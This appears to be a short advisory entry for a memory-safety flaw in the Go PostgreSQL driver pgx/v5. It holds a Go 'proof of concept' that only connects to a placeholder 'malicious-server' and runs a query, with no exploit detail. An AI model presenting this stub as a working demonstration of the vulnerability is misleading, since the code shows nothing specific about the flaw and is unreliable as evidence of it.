CVE-2026-33815 jackc/pgx内存安全漏洞

package main import ( "context" "fmt" "github.com/jackc/pgx/v5" ) // Proof of Concept for CVE-2026-33815 // This code demonstrates connecting to a potentially malicious server // that exploits the memory safety vulnerability in pgx/v5. func main() { // Attempt connection to a malicious PostgreSQL instance connString := "postgres://user:pass@malicious-server:5432/dbname" ctx := context.Background() conn, err := pgx.Connect(ctx, connString) if err != nil { fmt.Printf("Connection failed: %v\n", err) return } defer conn.Close(ctx) // Executing a query that triggers the vulnerable path var result int err = conn.QueryRow(ctx, "SELECT * FROM vulnerable_table").Scan(&result) if err != nil { fmt.Printf("Query execution failed: %v\n", err) } }